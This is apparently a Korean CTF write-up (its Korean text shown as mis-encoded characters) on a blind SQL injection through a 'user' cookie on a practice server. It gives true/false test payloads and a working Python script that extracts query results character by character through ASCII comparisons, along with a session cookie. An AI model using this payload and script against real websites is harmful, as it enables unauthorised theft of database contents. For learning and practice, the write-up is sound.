[CTF] SQL Injection Point 1

CHIKAยท2024๋…„ 6์›” 11์ผ

๐Ÿ“Œ
SQLi ์ž๋™ํ™”ํ•˜๊ธฐ
SQLi Point

๋กœ๊ทธ์ธ(์•„์ด๋”” xcvb)ํ•˜๊ณ  ๋งˆ์ดํŽ˜์ด์ง€์— ๋จผ์ € ์ ‘์†

์ผ๋‹จ ์ฟ ํ‚ค๊ฐ€ ๋ณด์ด๋‹ˆ ์ฟ ํ‚ค์— ํ…Œ์ŠคํŠธ

โ–ผxcvb' and '1'='1

โ–ผxcvb' and '1'='2

SQL๋ฌธ์ด ๊ฑฐ์ง“์ผ๋•Œ ๋‘๋ฒˆ์งธ ์นธ์— Nothing Here... ๋ฌธ๊ตฌ๊ฐ€ ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.
์ด๊ฑธ ์ด์šฉํ•ด๋ณด์ž. ์ž๋™ํ™”ํ•ด์„œ!


1. Python ์ด์šฉํ•˜์—ฌ ๋กœ๊ทธ์ธํ•˜๊ธฐ

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
success_message = 'Nothing Here'

def send_request(sql_query):
    cookie = {'user':sql_query,
              'PHPSESSID':'93mj6rtl3ros478psl52m96roh'
              }
    response = requests.post(url, cookies=cookie)
    return success_message in response.text


sql_query = input("sql์„ ์ž…๋ ฅํ•˜์„ธ์š”: ")
if send_request(sql_query):
    print("์„ฑ๊ณต")
else:
    print("์‹คํŒจ")    

SQL๋ฌธ์ด ์ฐธ์ด๋ฉด ๋งˆ์ดํŽ˜์ด์ง€ ๋‘๋ฒˆ์งธ ์ž…๋ ฅ์นธ์— Nothing Here...๋ฌธ๊ตฌ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค.

์•„์ด๋””๋ฅผ ๋„ฃ์—ˆ์„๋•Œ ์ž˜ ๋™์ž‘ํ•œ๋‹ค.


2. ์ž๋™ํ™”ํ•ด์„œ ๋ฐ์ดํ„ฐ ์ถ”์ถœํ•˜๊ธฐ

import requests
url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
success_message = 'Nothing Here'

def send_request(sql_query):
    cookie = {'user':sql_query,
              'PHPSESSID':'93mj6rtl3ros478psl52m96roh'
              }
    response = requests.post(url, cookies=cookie)
    return success_message in response.text

'''
sql_query = input("sql์„ ์ž…๋ ฅํ•˜์„ธ์š”: ")
if send_request(sql_query):
    print("์„ฑ๊ณต")
else:
    print("์‹คํŒจ")    
'''

def Blind_SQLi(sql):
    extract_info = ''
    for i in range(1,101): #์ตœ๋Œ€ 100๊ธ€์ž ๊นŒ์ง€ ์ถ”์ถœ
        for j in range(32,127): #ascii ๋ฌธ์ž ๋ฒ”์œ„
            payload = f"xcvb' and (ascii(substr(({sql}),{i},1))={j}) and '1'='1"
            if send_request(payload):
                extract_info += chr(j)
                break
        else:
            break # ๋” ์ด์ƒ ๊ธ€์ž๊ฐ€ ์—†์œผ๋ฉด ์ข…๋ฃŒ
    return extract_info
    

sql_query = input("SQL ์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”: ")

extracted_data = Blind_SQLi(sql_query)
print(f"Extracted Data: {extracted_data}")

๊ณต๊ฒฉ format์€
xcvb' and (ascii(substr(({sql}),{i},1))={j})

0๊ฐœ์˜ ๋Œ“๊ธ€